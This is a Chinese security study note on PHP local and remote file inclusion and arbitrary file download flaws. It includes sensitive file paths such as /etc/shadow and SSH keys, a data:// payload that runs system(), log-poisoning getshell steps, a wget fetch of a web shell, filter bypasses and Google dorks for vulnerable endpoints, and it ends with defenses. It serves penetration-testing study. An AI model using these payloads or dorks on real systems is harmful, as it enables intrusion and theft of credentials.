3.3_任意文件包含/下载/读取漏洞

  • 文件包含


  1. 含义:将一个文件中的内容包含到另一个文件中使用;

  2. 如何挖掘文件包含漏洞?文件包含漏洞的挖掘可以分为白盒和黑盒;

    1). 白盒:关注 include() ,include_once() ,require() ,require_once() 等函数的参数,查看其是否经过过滤;
    2). 黑盒:
         ①. 寻找URL参数中携带有 ?参数名 的值进行测试;
         ②. 查看其是否存在Nday;
         ③. 通过漏洞扫描工具扫描( AWVS,Xary );

  3. 文件包含函数—PHP

    类型 作用
    include 包含文件,且在失败的情况下产生警告,继续运行;遇到一次执行一次
    include_once 包含文件,且在失败的情况下产生警告,继续运行;只执行一次
    require 包含文件,且在失败的情况下产生错误,停止运行;遇到一次执行一次
    require_once 包含文件,且在失败的情况下产生错误,停止运行;只执行一次
  4. 文件包含常用路径(了解)

    中间件相关文件
    日志文件
    Windows linux
    1. PHPStudy 错误日志文件位置:PhpStudy/PHPTutorial/Apache/logs/error.log
    2. PHPStudy_PRO日志文件位置:phpstudy_pro/Extensions/Apache2.4.39/logs/error.log
    3. apache 正常访问日志位置:apache/logs/access.log
    4. apache 异常访问日志位置:apache/logs/error.log
    5. Nginx 错误日志位置:nginx/logs/error.log
    1. apache 正常访问日志位置:/var/log/httpd/access_log
    2. apache 异常访问日志位置:/var/log/httpd/error_log
    3. apache2 正常访问日志位置:/var/log/apache2/access.log
    4. apache2 异常访问日志位置:/var/log/apache2/error.log
    5. nginx 正常访问日志位置:/var/log/nginx/access.log
    6. nginx 异常访问日志位置:/var/log/nginx/error.log
    1. Ubantu&Debian   SSH日志 : /var/log/auth.log
    2. RedHat&Centos   SSH日志 : /var/log/secure
    配置文件
    1. dedecms 数据库配置文件 data/common.inc.php
    2. discuz 全局配置文件 config/config_global.php
    3. phpcms 配置文件 caches/configs/database.php
    4. phpwind 配置文件 conf/database.php
    5.  wordpress 配置文件 wp-config.php

    系统文件
    windows linux
    1. 查看系统版本  boot.ini
    2. IIS 配置信息 Windows/System32/inetsrv/MetaBase.xml
    3. 存储系统初密码 Windows/repairsam
    4. Mysql 配置信息 Program Files/mysql/my.ini
    5. MySQL root用户信息  Program Files/mysql/data/mysql/user.MYD
    6. PHP配置信息 Windows/php.ini
    7. Mysql 配置信息 Windows/my.ini
    8. Windows配置信息  Windows/win.ini
    1. 公钥: 家目录下/.ssh/authorized_keys
    2. 私钥:家目录下/.ssh/id_rsa
    3. 用户信息文件:/etc/passwd
    4. 用户密码文件: /etc/shadow
    5. MySQL配置信息: /etc/my.cnf
    6. httpd 配置信息:/etc/httpd/conf/httpd.conf
    7. 命令执行历史记录:家目录下/.bash_history
    8. MySQL历史记录: 家目录下/.mysql_history

  • 文件包含漏洞


  1. 原理:被包含的文件用户可控并且没有严格校验;
  2. 分类:本地文件包含 和 远程文件包含;
    1). 本地文件包含:包含的文件只能是本地文件;
    2). 远程文件包含:包含的文件可以是远程文件;
  3. 危害:信息泄露(file://,php://filter),远程代码执行(php://input,data://),任意脚本执行(file://,php://),拒绝服务攻击(file://,php://包含大量文件);

  • 本地文件包含


  1. 本地文件包含getshell的方式(图片码 + 2日志 + 2协议)
    1). 包含图片码
    2). 包含SSH日志
    3). 包含WEB错误日志
    4). php://input 协议
    5). data:// 协议

  2. 包含图片码 利用方式
    1). 上传图片码 ;例: http://127.0.0.1/pikachu/vul/unsafeupload/uploads/tupianma.jpg
    2). 访问父路径相同的文件包含漏洞;例:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=提交
    3). 拼接../修改url至同一父路径;
    4). 拼接图片码路径;例:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/tupianma.jpg&submit=提交

  3. 包含WEB日志
    1). 条件:知道中间件错误日志的存储路径,且错误日志文件可读;
    2). 原理:访问不存在的资源会被记录到错误日志中,可以包含错误日志进行利用;
    3). 利用方式:
         ①. 访问网站,Burp抓包 GET写入错误日志,例:GET /
         ②. 通过文件包含,包含日志文件,从而执行php代码;

  4. 包含SSH日志
    1). 本机访问服务器SSH日志文件 ssh ""@服务器IP -p 22
    2). 通过文件包含,包含日志文件,从而执行PHP代码;

  5. PHP伪协议
    1). pip.ini 参数设置:
         ①. allow_url_fopen :为ON,表示允许通过URL打开文件;
         ②. allow_url_include :为ON,表示允许通过URL包含文件;
    2). 协议利用方法与条件(读取文件随意,执行系统命令最好都为 ON):

    协议 说明 PHP版本 allow_url_fopen allow_url_include 用法
    file:// 读取文件 ≥5.2 off/on off/on ?file=file://C://windows/win.ini
    php://filter 读取源码 ≥5.2 off/on off/on ?file=php://filter/read=convert.base64-encode/resource=目标文件. php
    php://input POST方式执行命令 ≥5.2 off/on on
    1. ?file=php://input
    2. Post 提交的数据中执行命令
    3. 例:
    data:// 执行命令 ≥5.2 on on
    1. ?file=data://text/plain;base64,php命令(base64编码的)
    2. 例:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdkaXInKTsgPz4=
    3. 其中PD9waHAgcGhwaW5mbygpPz4=
  6. php://input 中获取shell的方式:
    1). VPS上传一句话木马,post 执行wget,curl下载 ,例:wget http://192.168.7.10/shell.php
    2). '); ?>
    3). '); ?>

  7. 文件包含利用到的协议:
    1). file://  访问本地文件;
    2). php://filter 读取源码;
    3). php://input  POST执行命令;
    4). data:// 执行命令;
    5). expect:// 执行命令; [要求受害者有expect 插件]
    6). zlib:// 压缩流;

  8. 漏洞协议区分

    漏洞 协议
    SSRF file://,http://,dict://,gopher://
    XXE file://,http://,ftp://,https://,data://,glob://
    文件包含 file://,php://filter,php://input,data://

  • 远程文件包含


  1. 条件:
    1). allow_url_fopen=On;
    2). allow_url_include=On;
    3). magic_quotes_gpc=Off;  (PHP对应版本的php.ini文件中)
  2. 利用方式:
    1). 上传恶意文件到VPS上;
    2).  网站URL的路径内拼接文件所在URL地址;
    ①. 例:?filename=http://192.168.7.10:8000/123.txt&submit=提交查询

  • 文件包含限制绕过


  1. 文件包含绕过方式

    绕过方式 适用场景 利用方式 举例
    问号绕过 适用于在服务端中写好后缀名,如(.txt)
    会为上传的的文件拼接.txt后缀
    URL末尾拼接? ?file=http://127.0.0.1:8000/1.txt?
    # 绕过 适用于在服务端中写好后缀名,如(.txt)
    会为上传的的文件拼接.txt后缀
    末尾后拼接 %23 ?file=http://127.0.0.1:80/1.png%23
    空格绕过 适用于在服务端中写好后缀名,如(.txt)
    会为上传的的文件拼接.txt后缀
    URL末尾拼接 %20 ?file=http://127.0.0.1:80/1.png
    编码绕过 字符被过滤 ,且 程序有解码操作(不是中间件) 使用url编码替换字符 ?file=http://127%2e0%2e0%2e1:80/1.png

    %2e = .  %2f = /    %5c = \ # 绕过;
    %00截断绕过 适用于在服务端中写好后缀名,如(.txt)
    会为上传的的文件拼接.txt后缀

    条件:PHP<5.3.4 ; magic_quotes_gpc=off
    在URL路径末尾加%00; ?file=file://c:/Windows/win.ini
    路径长度绕过 Windows 文件名长度 ≥ 198 超出的部分会被丢弃; 加任意字符使其超过系统目录的最大长度限制; ?file=test.txt...........................(n个点)
  2. 漏洞防御
    1). 对参数进行限制,使包含的文件只在某一目录下;
    2). 文件白名单验证,只允许用户下载和访问特定的文件;
    3). 使包含的文件不受用户控制,如 include("head.php") ;

  • 任意文件下载 / 读取漏洞


  1. PS:任意文件下载漏洞与任意文件读取漏洞本质相似,只是操作行为由 "下载" 变为 "读取"。

  2. 含义:网站提供了下载文件的功能,但没有对下载的路径和参数进行严格校验,导致了任意文件下载漏洞;

  3. 原理:没有对下载的路径和参数进行严格校验;

  4. 漏洞挖掘:

    1. 目录扫描;
    2. 参数分析(例:file=、path=、filename=);
    3. 使用漏洞扫描工具(Xray,Nuclei);
    4. 寻找Nday;
    5. 使用Google语法和链接关键字(如下);
  5. 任意文件下载与读取漏洞的区别:下载会将文件下载下来,读取支持在线查看;

  6. 漏洞挖掘语法
    1). Google语法:
         ①. inurl:readfile.php?file=
         ②. inurl:download.php?file=
    2). 链接关键字:
         ①. download.php?path=
         ②. download.php?file=
         ③. download.php?filename=
         ④. down.php?file=
         ⑤. data.php?file=
         ⑥. readfile.php?file=
         ⑦. read.php?filename=
    3). 链接参数:
         ①. &RealPath=
         ②. &FilePath=
         ③. &filepath=
         ④. &Filepath=
         ⑤. &Path=
         ⑥. &path=
         ⑦. &inputFile=
         ⑧. &InputFile=
         ⑨. &url=
         ⑩. &urls=

  7. 危害(利用方式)
    1). 敏感信息泄露,如配置文件,日志文件,源码等;
    2). 内网渗透,通过下载特定文件(如ssh私钥),攻击者可以进行进一步渗透;
    3). 拒绝服务攻击,通过下载大量数据,影响正常服务的运行;

  8. 漏洞防御
    1). 对参数进行限制,使其只能下载某一目录下的文件;
    2). 文件白名单验证,只允许用户下载和读取特定的文件;
    3). 使下载的文件不受用户控制,只能下载特定的文件,如 allowed_files = {"file1.txt", "file2.jpg", "file3.pdf"}

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

你可能感兴趣的:(网络安全自学笔记,-,入门篇,网络安全,安全,文件包含,任意文件读取,任意文件下载,任意文件包含)